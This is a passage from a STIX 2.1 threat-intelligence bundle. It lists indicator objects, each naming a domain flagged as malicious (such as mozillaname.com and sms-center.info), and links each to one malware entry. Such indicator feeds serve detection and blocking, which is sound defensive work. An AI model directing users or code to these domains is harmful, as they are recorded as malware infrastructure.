"2024-01-26T21:28:21.527443Z", "modified": "2024-01-26T21:28:21.527443Z", "relationship_type": "indicates", "source_ref": "indicator--d99bcd25-ed89-46e3-b0dc-154e39f48a73", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--348c242a-ef89-4706-838d-4ad9f6549691", "created": "2024-01-26T21:28:21.527543Z", "modified": "2024-01-26T21:28:21.527543Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='oneadjump.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.527543Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2b9cc558-9254-4cec-a70f-12c4f848bc4e", "created": "2024-01-26T21:28:21.527926Z", "modified": "2024-01-26T21:28:21.527926Z", "relationship_type": "indicates", "source_ref": "indicator--348c242a-ef89-4706-838d-4ad9f6549691", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e4ff7a9-d73d-4cc8-8306-6c14aecc7c1c", "created": "2024-01-26T21:28:21.528021Z", "modified": "2024-01-26T21:28:21.528021Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='theappanalytics.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.528021Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--50e800ec-41ec-4b60-9bc3-bdc7554b9c53", "created": "2024-01-26T21:28:21.528408Z", "modified": "2024-01-26T21:28:21.528408Z", "relationship_type": "indicates", "source_ref": "indicator--8e4ff7a9-d73d-4cc8-8306-6c14aecc7c1c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--23377473-2e5c-4265-9f47-4135227609c2", "created": "2024-01-26T21:28:21.528503Z", "modified": "2024-01-26T21:28:21.528503Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='trililihihi.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.528503Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fa3483ee-a549-4402-94e9-d3e5213379e1", "created": "2024-01-26T21:28:21.528892Z", "modified": "2024-01-26T21:28:21.528892Z", "relationship_type": "indicates", "source_ref": "indicator--23377473-2e5c-4265-9f47-4135227609c2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--64814179-eae9-4163-bc2a-580e0e62fae4", "created": "2024-01-26T21:28:21.529002Z", "modified": "2024-01-26T21:28:21.529002Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='carpetdignity.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.529002Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ec9fb400-c2f2-4a53-9a3c-bf895e11a70d", "created": "2024-01-26T21:28:21.529393Z", "modified": "2024-01-26T21:28:21.529393Z", "relationship_type": "indicates", "source_ref": "indicator--64814179-eae9-4163-bc2a-580e0e62fae4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--917962f4-3150-4b2d-b2f1-f4d23dcb49ae", "created": "2024-01-26T21:28:21.529489Z", "modified": "2024-01-26T21:28:21.529489Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findmyplants.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.529489Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36e5c967-7ff5-4b7c-88e2-2c82741e02cd", "created": "2024-01-26T21:28:21.529878Z", "modified": "2024-01-26T21:28:21.529878Z", "relationship_type": "indicates", "source_ref": "indicator--917962f4-3150-4b2d-b2f1-f4d23dcb49ae", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cccd890c-5028-4d6b-93a4-56790287c097", "created": "2024-01-26T21:28:21.529973Z", "modified": "2024-01-26T21:28:21.529973Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='waitingtoload.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.529973Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4df24f4a-f3a6-472e-95f7-d270ee4aebdb", "created": "2024-01-26T21:28:21.530358Z", "modified": "2024-01-26T21:28:21.530358Z", "relationship_type": "indicates", "source_ref": "indicator--cccd890c-5028-4d6b-93a4-56790287c097", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4dba44d4-dbb9-42ce-b11a-455a6d2f449e", "created": "2024-01-26T21:28:21.530454Z", "modified": "2024-01-26T21:28:21.530454Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mozillaname.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.530454Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--4a44dce5-876b-4113-a6ba-d6fead3ccc78", "created": "2024-01-26T21:28:21.53094Z", "modified": "2024-01-26T21:28:21.53094Z", "relationship_type": "indicates", "source_ref": "indicator--4dba44d4-dbb9-42ce-b11a-455a6d2f449e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7b3929c3-6019-45e9-9f4d-6e33333aced7", "created": "2024-01-26T21:28:21.531041Z", "modified": "2024-01-26T21:28:21.531041Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='systemtrees.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.531041Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a2fc849-c70b-4543-b31f-bbddd2133cf3", "created": "2024-01-26T21:28:21.531429Z", "modified": "2024-01-26T21:28:21.531429Z", "relationship_type": "indicates", "source_ref": "indicator--7b3929c3-6019-45e9-9f4d-6e33333aced7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--337a99c7-6c25-4d0c-b061-8d731fed410f", "created": "2024-01-26T21:28:21.531525Z", "modified": "2024-01-26T21:28:21.531525Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='allthegamesyouneed.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.531525Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--24e9ed6a-2ac3-4d2d-8a5f-471014f77f20", "created": "2024-01-26T21:28:21.531919Z", "modified": "2024-01-26T21:28:21.531919Z", "relationship_type": "indicates", "source_ref": "indicator--337a99c7-6c25-4d0c-b061-8d731fed410f", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--16a46967-9076-4799-bc76-6136f0cf1a2c", "created": "2024-01-26T21:28:21.532017Z", "modified": "2024-01-26T21:28:21.532017Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='operations-delivery.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.532017Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a0c54f57-9c30-449f-bf47-3e41b6bb4e0b", "created": "2024-01-26T21:28:21.532411Z", "modified": "2024-01-26T21:28:21.532411Z", "relationship_type": "indicates", "source_ref": "indicator--16a46967-9076-4799-bc76-6136f0cf1a2c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4f9f17e3-72a7-48fd-ba9b-c39cfb56b695", "created": "2024-01-26T21:28:21.532507Z", "modified": "2024-01-26T21:28:21.532507Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='myshop4u.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.532507Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b38506c2-20d8-4aac-8dbe-5c452023f222", "created": "2024-01-26T21:28:21.532891Z", "modified": "2024-01-26T21:28:21.532891Z", "relationship_type": "indicates", "source_ref": "indicator--4f9f17e3-72a7-48fd-ba9b-c39cfb56b695", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8d470d6d-7e1b-41db-96c0-0cddabd5ab91", "created": "2024-01-26T21:28:21.53299Z", "modified": "2024-01-26T21:28:21.53299Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='noveletters.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.53299Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ec43c35-cc6f-4c34-9938-ff1d1d2c108a", "created": "2024-01-26T21:28:21.53338Z", "modified": "2024-01-26T21:28:21.53338Z", "relationship_type": "indicates", "source_ref": "indicator--8d470d6d-7e1b-41db-96c0-0cddabd5ab91", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--1a68a186-a8d5-4a52-b3ca-567c70edf99b", "created": "2024-01-26T21:28:21.533477Z", "modified": "2024-01-26T21:28:21.533477Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sweetcup.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.533477Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7e85b17b-abeb-476e-91dc-99c5f0305069", "created": "2024-01-26T21:28:21.533856Z", "modified": "2024-01-26T21:28:21.533856Z", "relationship_type": "indicates", "source_ref": "indicator--1a68a186-a8d5-4a52-b3ca-567c70edf99b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7be11ce6-44af-4301-b815-b20e9f904185", "created": "2024-01-26T21:28:21.53395Z", "modified": "2024-01-26T21:28:21.53395Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cleanmiddle.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.53395Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9754d3f7-e67a-49e2-b85d-52dfbd2b3216", "created": "2024-01-26T21:28:21.534339Z", "modified": "2024-01-26T21:28:21.534339Z", "relationship_type": "indicates", "source_ref": "indicator--7be11ce6-44af-4301-b815-b20e9f904185", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c112803d-479c-4008-a0ee-18f51f8f249e", "created": "2024-01-26T21:28:21.534437Z", "modified": "2024-01-26T21:28:21.534437Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='meanspursuit.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.534437Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9c63c885-65af-4ca4-924a-b6bc7054fd60", "created": "2024-01-26T21:28:21.534828Z", "modified": "2024-01-26T21:28:21.534828Z", "relationship_type": "indicates", "source_ref": "indicator--c112803d-479c-4008-a0ee-18f51f8f249e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--eda727d2-fdc6-4537-a678-19f8a8389bb2", "created": "2024-01-26T21:28:21.534926Z", "modified": "2024-01-26T21:28:21.534926Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='manydnsnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.534926Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--503ad4dd-aebb-4aad-9209-264f1cfddd54", "created": "2024-01-26T21:28:21.535393Z", "modified": "2024-01-26T21:28:21.535393Z", "relationship_type": "indicates", "source_ref": "indicator--eda727d2-fdc6-4537-a678-19f8a8389bb2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9989db3c-3fa0-4609-84de-5321710209db", "created": "2024-01-26T21:28:21.535493Z", "modified": "2024-01-26T21:28:21.535493Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='behindaquarium.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.535493Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0cc43136-b2c0-4c25-8f43-67a19d249b37", "created": "2024-01-26T21:28:21.535886Z", "modified": "2024-01-26T21:28:21.535886Z", "relationship_type": "indicates", "source_ref": "indicator--9989db3c-3fa0-4609-84de-5321710209db", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--39dc50d9-3866-4a67-aba2-3a75f35e6889", "created": "2024-01-26T21:28:21.53599Z", "modified": "2024-01-26T21:28:21.53599Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='howisurday.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.53599Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--49891fe3-bdbb-4b01-999d-f121793fc424", "created": "2024-01-26T21:28:21.536374Z", "modified": "2024-01-26T21:28:21.536374Z", "relationship_type": "indicates", "source_ref": "indicator--39dc50d9-3866-4a67-aba2-3a75f35e6889", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f9df8803-d557-47b9-b47d-a3c96d7cc9ad", "created": "2024-01-26T21:28:21.53647Z", "modified": "2024-01-26T21:28:21.53647Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='catbrushcable.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.53647Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--65bdd5ee-16b7-4626-a477-e0addf78b61d", "created": "2024-01-26T21:28:21.536868Z", "modified": "2024-01-26T21:28:21.536868Z", "relationship_type": "indicates", "source_ref": "indicator--f9df8803-d557-47b9-b47d-a3c96d7cc9ad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e6af3aeb-e417-443d-a1dd-515d19ed474a", "created": "2024-01-26T21:28:21.536981Z", "modified": "2024-01-26T21:28:21.536981Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='restaurantsstar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.536981Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fbf6d026-b7e0-4370-8453-62ea0598ccc1", "created": "2024-01-26T21:28:21.537389Z", "modified": "2024-01-26T21:28:21.537389Z", "relationship_type": "indicates", "source_ref": "indicator--e6af3aeb-e417-443d-a1dd-515d19ed474a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--315ae00e-ee2c-4f1d-b8e8-2c62f4be7f94", "created": "2024-01-26T21:28:21.537523Z", "modified": "2024-01-26T21:28:21.537523Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='rockbreakdown.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.537523Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36e914c5-26f2-4354-b8e4-ee77c99d7e1d", "created": "2024-01-26T21:28:21.538006Z", "modified": "2024-01-26T21:28:21.538006Z", "relationship_type": "indicates", "source_ref": "indicator--315ae00e-ee2c-4f1d-b8e8-2c62f4be7f94", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9724dab8-ffb3-4dae-8b11-0b560cc8df5e", "created": "2024-01-26T21:28:21.538149Z", "modified": "2024-01-26T21:28:21.538149Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moyfoto.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.538149Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a55302ea-5248-46ee-9457-ba7ba40da8ec", "created": "2024-01-26T21:28:21.538583Z", "modified": "2024-01-26T21:28:21.538583Z", "relationship_type": "indicates", "source_ref": "indicator--9724dab8-ffb3-4dae-8b11-0b560cc8df5e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0268ed13-b911-4cbb-a842-4925e3172a4c", "created": "2024-01-26T21:28:21.538695Z", "modified": "2024-01-26T21:28:21.538695Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='playfantasticsplastic.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.538695Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b23a7451-75bf-45fb-9869-affb89b03973", "created": "2024-01-26T21:28:21.539113Z", "modified": "2024-01-26T21:28:21.539113Z", "relationship_type": "indicates", "source_ref": "indicator--0268ed13-b911-4cbb-a842-4925e3172a4c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ec758e00-8568-4207-8da6-cc60db93cbad", "created": "2024-01-26T21:28:21.539216Z", "modified": "2024-01-26T21:28:21.539216Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='varietyregistrar.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.539216Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f3eef4d3-b4f9-425d-a45d-e019ecedff56", "created": "2024-01-26T21:28:21.539657Z", "modified": "2024-01-26T21:28:21.539657Z", "relationship_type": "indicates", "source_ref": "indicator--ec758e00-8568-4207-8da6-cc60db93cbad", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a6dc8689-a4f4-44ae-84a0-311a0524604e", "created": "2024-01-26T21:28:21.539761Z", "modified": "2024-01-26T21:28:21.539761Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='discountads.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.539761Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0cf3afc3-2fe9-4f99-aee9-718d458c9495", "created": "2024-01-26T21:28:21.54026Z", "modified": "2024-01-26T21:28:21.54026Z", "relationship_type": "indicates", "source_ref": "indicator--a6dc8689-a4f4-44ae-84a0-311a0524604e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6797f31d-3089-4465-a639-545e03412042", "created": "2024-01-26T21:28:21.540365Z", "modified": "2024-01-26T21:28:21.540365Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='checkboxfee.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.540365Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f2096da8-6d23-4f40-a23e-16680c5fc4bf", "created": "2024-01-26T21:28:21.540776Z", "modified": "2024-01-26T21:28:21.540776Z", "relationship_type": "indicates", "source_ref": "indicator--6797f31d-3089-4465-a639-545e03412042", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5777aeae-9e88-4182-9949-3ad5ca80c489", "created": "2024-01-26T21:28:21.540876Z", "modified": "2024-01-26T21:28:21.540876Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='workshopmanager.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.540876Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e781cebb-9db2-401e-86c9-b7ead9e27424", "created": "2024-01-26T21:28:21.541283Z", "modified": "2024-01-26T21:28:21.541283Z", "relationship_type": "indicates", "source_ref": "indicator--5777aeae-9e88-4182-9949-3ad5ca80c489", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--91e1fa21-8fb5-4b13-9f45-8b7ee249d3bc", "created": "2024-01-26T21:28:21.541394Z", "modified": "2024-01-26T21:28:21.541394Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='health-club.online']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.541394Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2a5d803d-4b1d-4c08-8bc7-6eca2bc4eb45", "created": "2024-01-26T21:28:21.541814Z", "modified": "2024-01-26T21:28:21.541814Z", "relationship_type": "indicates", "source_ref": "indicator--91e1fa21-8fb5-4b13-9f45-8b7ee249d3bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--33e5f09e-223c-4859-ba40-3e53626b5812", "created": "2024-01-26T21:28:21.541915Z", "modified": "2024-01-26T21:28:21.541915Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='righttriangle.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.541915Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f41b8bf0-1057-42c5-a44b-ed1dd393250c", "created": "2024-01-26T21:28:21.542303Z", "modified": "2024-01-26T21:28:21.542303Z", "relationship_type": "indicates", "source_ref": "indicator--33e5f09e-223c-4859-ba40-3e53626b5812", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--87f97239-de66-4bc4-a36b-c9e6e49e1a3e", "created": "2024-01-26T21:28:21.542407Z", "modified": "2024-01-26T21:28:21.542407Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlconnection.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.542407Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--734e4920-15de-4dbd-ba84-ceb54c59a0ec", "created": "2024-01-26T21:28:21.542804Z", "modified": "2024-01-26T21:28:21.542804Z", "relationship_type": "indicates", "source_ref": "indicator--87f97239-de66-4bc4-a36b-c9e6e49e1a3e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--88836a64-a2c0-4a24-8fe8-b95f5a0f2865", "created": "2024-01-26T21:28:21.542901Z", "modified": "2024-01-26T21:28:21.542901Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='catsndogsproducts.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.542901Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--33de86ec-0f1a-4caf-ac55-cd27444006a2", "created": "2024-01-26T21:28:21.543303Z", "modified": "2024-01-26T21:28:21.543303Z", "relationship_type": "indicates", "source_ref": "indicator--88836a64-a2c0-4a24-8fe8-b95f5a0f2865", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cda76882-400b-450f-b09f-9c06f20997a8", "created": "2024-01-26T21:28:21.543402Z", "modified": "2024-01-26T21:28:21.543402Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='healthyguess.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.543402Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a3d33a32-46cc-45ca-8f92-fe20c018767b", "created": "2024-01-26T21:28:21.54379Z", "modified": "2024-01-26T21:28:21.54379Z", "relationship_type": "indicates", "source_ref": "indicator--cda76882-400b-450f-b09f-9c06f20997a8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--67d3738c-c761-46b0-b598-2f6cdae3479a", "created": "2024-01-26T21:28:21.543886Z", "modified": "2024-01-26T21:28:21.543886Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alldaycooking.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.543886Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--abb246f1-fffb-4d92-80cd-6a58828ae58b", "created": "2024-01-26T21:28:21.54427Z", "modified": "2024-01-26T21:28:21.54427Z", "relationship_type": "indicates", "source_ref": "indicator--67d3738c-c761-46b0-b598-2f6cdae3479a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0758abe8-177b-481e-8745-9542a737eac4", "created": "2024-01-26T21:28:21.544371Z", "modified": "2024-01-26T21:28:21.544371Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='curiousrabbitgame.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.544371Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bbf43b2d-a951-4857-8969-837f99ddb1d5", "created": "2024-01-26T21:28:21.544847Z", "modified": "2024-01-26T21:28:21.544847Z", "relationship_type": "indicates", "source_ref": "indicator--0758abe8-177b-481e-8745-9542a737eac4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--137250f5-f434-42fa-9c9a-21679d407dfd", "created": "2024-01-26T21:28:21.544948Z", "modified": "2024-01-26T21:28:21.544948Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cookiesoutthere.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.544948Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5596fb69-26ae-4b11-b79d-2451c32af3cd", "created": "2024-01-26T21:28:21.545345Z", "modified": "2024-01-26T21:28:21.545345Z", "relationship_type": "indicates", "source_ref": "indicator--137250f5-f434-42fa-9c9a-21679d407dfd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--43ebf2a2-93f4-4910-be55-9e80e78d7df1", "created": "2024-01-26T21:28:21.545444Z", "modified": "2024-01-26T21:28:21.545444Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='finditout-now.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.545444Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--601e1885-d1b6-4fbb-b324-2b62fce20257", "created": "2024-01-26T21:28:21.545829Z", "modified": "2024-01-26T21:28:21.545829Z", "relationship_type": "indicates", "source_ref": "indicator--43ebf2a2-93f4-4910-be55-9e80e78d7df1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--36cfdda5-5522-4816-b7d0-4f814bf21f69", "created": "2024-01-26T21:28:21.545926Z", "modified": "2024-01-26T21:28:21.545926Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mangoutlet.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.545926Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3c877857-a8f5-42aa-a7e3-9080990f0115", "created": "2024-01-26T21:28:21.546312Z", "modified": "2024-01-26T21:28:21.546312Z", "relationship_type": "indicates", "source_ref": "indicator--36cfdda5-5522-4816-b7d0-4f814bf21f69", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c1e174b9-4a04-4daf-bd7d-32f4039ddc6e", "created": "2024-01-26T21:28:21.546411Z", "modified": "2024-01-26T21:28:21.546411Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moz-noticias.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.546411Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dff53b77-5020-4d6e-ae7c-d5aff50106b7", "created": "2024-01-26T21:28:21.546794Z", "modified": "2024-01-26T21:28:21.546794Z", "relationship_type": "indicates", "source_ref": "indicator--c1e174b9-4a04-4daf-bd7d-32f4039ddc6e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--de7254e2-c751-4530-be0e-24ae8043bcc7", "created": "2024-01-26T21:28:21.546889Z", "modified": "2024-01-26T21:28:21.546889Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sms-center.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.546889Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--74e73f14-a362-4e73-abd9-5db1a0f381ab", "created": "2024-01-26T21:28:21.547273Z", "modified": "2024-01-26T21:28:21.547273Z", "relationship_type": "indicates", "source_ref": 